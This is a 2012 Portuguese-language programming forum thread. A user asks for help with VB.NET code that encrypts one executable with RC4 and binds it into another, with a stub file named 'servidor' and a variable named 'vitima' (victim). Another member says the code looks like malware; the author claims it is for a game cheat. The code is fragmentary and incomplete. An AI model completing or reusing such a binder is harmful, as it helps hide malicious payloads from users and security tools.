Lukas S. Posted May 3, 2012 at 06:25 PM Report #452947 Posted May 3, 2012 at 06:25 PM Bem tou a tentar criar um programa que basicamente junta um pedaço de código a outro sendo que os dois são ambos feitos em visual basic .net ... o problema é que sempre que tento juntar os dois aparece a seguinte mensagem: Não percebo o porque de dar tal erro Dim ficheirodentro, nomedoficheiro, vitima As String Dim salvarficheiro As New SaveFileDialog salvarficheiro.DefaultExt = "Executável|*.exe" If salvarficheiro.ShowDialog = Windows.Forms.DialogResult.OK Then nomedoficheiro = salvarficheiro.FileName Else : Exit Sub End If 'Abrimos o ficheiro no modo binario , para ler , juntar FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 'LOF retorna os bits do ficheiro ficheirodentro = Space(LOF(1)) FileGet(1, ficheirodentro) FileClose(1) 'pra saber onde está o servidor FileOpen(1, Application.StartupPath & "\servidor.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 'guarda na variavel vitima tamanho do ficheiro vitima = Space(LOF(1)) ' retorna o tamanho (kbs , mgbts, gigabytes ) do ficheiro 1 que é o servidor FileGet(1, vitima) FileClose(1) 'nomedoficheiro é aquele do savefiledialog FileOpen(1, nomedoficheiro, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) 'colocar dentro do ficheiro 1 que é o nomedoficheiro FilePut(1, nomedoficheiro & filesplit & rc4(ficheirodentro, "lucaswin")) FileClose(1) Agradecia pela ajuda aqui do pessoal ps: não liguem pra onde diz vitima XD hahaha E o Impossível foi criado por pessoas fracas pra acabar com o sonho das pessoas fortes. Não deixes que acabem com o teu. Sonha , luta , ambiciona e realiza. Se amas , se gostas tu vais conseguir. Cala todas as pessoas que um dia duvidaram de ti e prova que foste mais forte de qualquer outro.
thoga31 Posted May 3, 2012 at 09:49 PM Report #452982 Posted May 3, 2012 at 09:49 PM ps: não liguem pra onde diz vitima XD hahaha Suspeito desse código, sabes? Juntar um executável a outro, abertura binária, ler e escrever nele... nah, isto é uma abordagem comum de malwares. E não vejo situações em que esse código seja mesmo "inocente". Simplesmente não consigo imaginar nenhuma. Knowledge is free!
Lukas S. Posted May 5, 2012 at 01:07 PM Author Report #453273 Posted May 5, 2012 at 01:07 PM simplesmente tás errado ... eu quero juntar o executável como tipo hack ... basicamente tenho um cheat bejeweld e vou juntar ao programa E o Impossível foi criado por pessoas fracas pra acabar com o sonho das pessoas fortes. Não deixes que acabem com o teu. Sonha , luta , ambiciona e realiza. Se amas , se gostas tu vais conseguir. Cala todas as pessoas que um dia duvidaram de ti e prova que foste mais forte de qualquer outro.
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now